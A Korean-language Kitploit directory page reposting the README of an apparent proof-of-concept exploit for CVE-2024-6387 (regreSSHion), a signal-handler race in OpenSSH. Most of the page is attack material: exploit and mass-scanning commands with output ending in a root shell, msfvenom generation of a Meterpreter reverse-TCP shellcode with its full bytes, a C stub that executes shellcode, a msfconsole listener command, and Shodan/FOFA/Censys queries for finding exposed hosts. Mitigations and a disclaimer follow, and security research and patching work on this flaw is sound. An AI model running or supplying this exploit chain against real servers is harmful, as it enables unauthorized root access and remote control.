Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-6387 — CVE-2024-6387 (regreSSHion)에 대한 개념 증명 익스플로잇으로, OpenSSH 서버에서 signal handler race condition을 통해 인증되지 않은 원격 코드 실행을 대상으로 합니다. 스캔, exploitation 및 reverse shell generation을 포함합니다. | Kitploit
도구/GitHubGitHub/prelearn-code/cve-2024-6387
Vulnerability AnalysisExploitationShellcodePenetration TestingCommand and ControlRemote Access ToolPayload Development
GitHubprelearn-code/cve-2024-6387

CVE-2024-6387

CVE-2024-6387 (regreSSHion)에 대한 개념 증명 익스플로잇으로, OpenSSH 서버에서 signal handler race condition을 통해 인증되지 않은 원격 코드 실행을 대상으로 합니다. 스캔, exploitation 및 reverse shell generation을 포함합니다.

저장소 보기
22년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

원문 재게시

openssh CVE-2024-6387 - PoC

📜 설명

참고: 이 스크립트는 빠른 프로토타입 PoC입니다. 일부 오류 및 버그가 발생할 수 있습니다. 테스트 환경: Kali Linux, ParrotSec, Ubuntu 22.04

OpenSSH 서버의 원격 인증되지 않은 코드 실행 취약점

OpenSSH 서버(sshd)에서 신호 핸들러 경쟁 조건이 발견되었습니다. 클라이언트가 LoginGraceTime(기본 120초, 이전 OpenSSH 버전에서는 600초) 내에 인증을 완료하지 않으면 sshd의 SIGALRM 핸들러가 비동기적으로 호출됩니다. 그러나 이 핸들러는 syslog()와 같이 async-signal-safe하지 않은 여러 함수를 호출합니다.

📁 목차

  • 📖 세부 사항
  • ⚙️ 사용법
  • 🔍 호스트 탐색
  • 🛠️ 완화 조치
  • 💁 참고 자료
  • 📌 저자
  • 📢 면책 조항

✍🏻 세부 사항

기술적 세부 사항은 여기에서 확인할 수 있습니다.

이 결함은 2024년 5월 Qualys 연구원들이 발견했으며 CVE-2024-6387 식별자가 할당되었습니다. 이는 sshd의 신호 핸들러 경쟁 조건으로 인해 인증되지 않은 원격 공격자가 루트 권한으로 임의 코드를 실행할 수 있는 취약점입니다.

"클라이언트가 LoginGraceTime(기본 120초) 내에 인증하지 않으면 sshd의 SIGALRM 핸들러가 비동기적으로 호출되며, async-signal-safe하지 않은 여러 함수(예: syslog())를 호출합니다."

"원격 인증되지 않은 공격자는 이 결함을 이용하여 루트 권한으로 임의 코드를 실행할 수 있습니다."

⚙️ 사용법

OpenSSH 서버 스캔

요구 사항: python3 최신 버전

root@kitploit:~
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22

 ██████╗ ██████╗ ███████╗███╗   ██╗███████╗███████╗██╗  ██╗
██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██╔════╝██║  ██║
██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████╗███████╗███████║
██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║     ███████╗██║ ╚████║███████║███████║██║  ██║
 ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝
   Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo 
    
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!

~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root) 

내보내기 (csv, txt, json)

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json

다중 대상

root@kitploit:~
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json

타임아웃 추가

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json

네트워크 범위

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json

사용자 정의 포트

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json

권한 상승 과정

리버스 셸 획득

root@kitploit:~
# Generating a shellcode 
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

사용자 정의 페이로드

root@kitploit:~
#include <stdio.h>

// A placeholder of your custom payload 
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // Execute shellcode
    printf("Executing shellcode...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

실제 페이로드

root@kitploit:~
#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";

페이로드 컴파일 및 시작

root@kitploit:~
# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c 

페이로드 실행

root@kitploit:~
# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 

페이로드 캐치

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"

🔍 호스트 탐색

  • Hunter: /product.name="OpenSSH"
  • FOFA: app="OpenSSH"
  • SHODAN: product:"OpenSSH"
  • CENSYS: (openssh) and labels=remote-access

🛠️ 완화 조치

  • 패치 관리: OpenSSH에 사용 가능한 패치를 신속하게 적용하는 것이 취약점을 차단하는 데 중요합니다. 적시에 패치를 적용하면 알려진 익스플로잇이 시스템에 악용되는 것을 방지하여 공격자의 기회를 줄일 수 있습니다.

  • 향상된 액세스 제어: 네트워크 기반 제어를 통해 SSH 액세스를 제한하면 추가적인 방어 계층이 제공됩니다. 이 접근 방식은 SSH 연결을 승인된 네트워크 또는 IP 주소로만 제한함으로써 잠재적 공격자에 대한 노출을 최소화합니다. 방화벽 규칙이나 VPN을 통한 안전한 액세스 같은 도구를 사용하여 이러한 제한을 효과적으로 시행할 수 있습니다.

  • 네트워크 분할: 네트워크를 세그먼트로 분할하면 잠재적 침해의 영향을 제한하는 데 도움이 됩니다. 중요 시스템과 민감 데이터를 덜 중요한 네트워크 부분과 분리함으로써 공격자의 측면 이동 위험을 줄일 수 있습니다. 이러한 분할은 엄격한 액세스 제어 및 모니터링을 통해 보완되어 이러한 세그먼트를 침해하려는 무단 시도를 탐지하고 대응할 수 있습니다.

  • 침입 탐지 시스템 (IDS): IDS 또는 침입 방지 시스템(IPS)을 배포하면 네트워크 트래픽과 시스템 로그를 실시간으로 모니터링할 수 있습니다. 이러한 시스템은 regreSSHion 취약점과 관련된 의심스러운 활동 및 잠재적 익스플로잇 시도를 탐지할 수 있습니다. 이 시스템이 트리거한 경고를 통해 심각한 피해가 발생하기 전에 신속한 조사와 완화가 가능합니다.

  • 익스플로잇 시도 모니터링: 네트워크 및 시스템 로그를 지속적으로 모니터링하는 것이 중요합니다. OpenSSH 취약점을 악용하려는 시도를 나타낼 수 있는 비정상적인 패턴이나 활동을 찾아보십시오. 이 사전 예방적 접근 방식은 피해를 입히기 전에 위협을 식별하고 대응하는 데 도움이 됩니다.

💁 참고 자료

  • 원본 저자: CVE-2024-6387 스캐너
  • 원본 저자: CVE-2024-6387 PoC

추가 참고 자료

  • http://www.openwall.com/lists/oss-security/2024/07/01/12
  • https://access.redhat.com/security/cve/CVE-2024-6387
  • https://bugzilla.redhat.com/show_bug.cgi?id=2294604
  • https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
  • https://github.com/zgzhang/cve-2024-6387-poc
  • https://ubuntu.com/security/CVE-2024-6387
  • https://ubuntu.com/security/notices/USN-6859-1
  • https://www.suse.com/security/cve/CVE-2024-6387.html
  • https://explore.alas.aws.amazon.com/CVE-2024-6387.html
  • https://archlinux.org/news/the-sshd-service-needs-to-be-restarted-after-upgrading-to-openssh-98p1/
  • https://www.openssh.com/txt/release-9.8
  • https://lists.mindrot.org/pipermail/openssh-unix-announce/2024-July/000158.html
  • https://lists.mindrot.org/pipermail/openssh-unix-dev/2024-July/041431.html
  • https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server
  • https://www.theregister.com/2024/07/01/regresshion_openssh/
  • https://news.ycombinator.com/item?id=40843778

📌 저자

  • Facebook
  • Twitter (X)
  • Medium
  • 웹사이트

📢 면책 조항

  • 중요 참고 사항:
    • 이 도구는 승인된 침투 테스트 및 레드 팀 훈련 목적으로만 개발 및 사용됩니다. glibc 기반 Linux 시스템의 OpenSSH 서버에서 취약점을 식별하고 익스플로잇하기 위해 설계되었습니다. 이 도구의 무단 사용은 엄격히 금지되며, 이 도구의 소유자는 무단 액세스 또는 악의적인 사용에 대해 책임을 지지 않습니다.
  • 법적 고지:
    • 소유자의 명시적 허가 없이 시스템이나 네트워크에서 이 도구를 무단으로 사용하는 것은 해당 법률 및 규정을 위반할 수 있습니다. 사용자는 사이버 보안 테스트 및 평가를 규율하는 법적 및 윤리적 기준을 준수할 책임이 있습니다.
도구 다운로드
  • https://security-tracker.debian.org/tracker/CVE-2024-6387
  • https://github.com/oracle/oracle-linux/issues/149
  • https://github.com/rapier1/hpn-ssh/issues/87
  • https://stackdiary.com/openssh-race-condition-in-sshd-allows-remote-code-execution/
  • https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0010
  • http://www.openwall.com/lists/oss-security/2024/07/01/13
  • https://security.netapp.com/advisory/ntap-20240701-0001/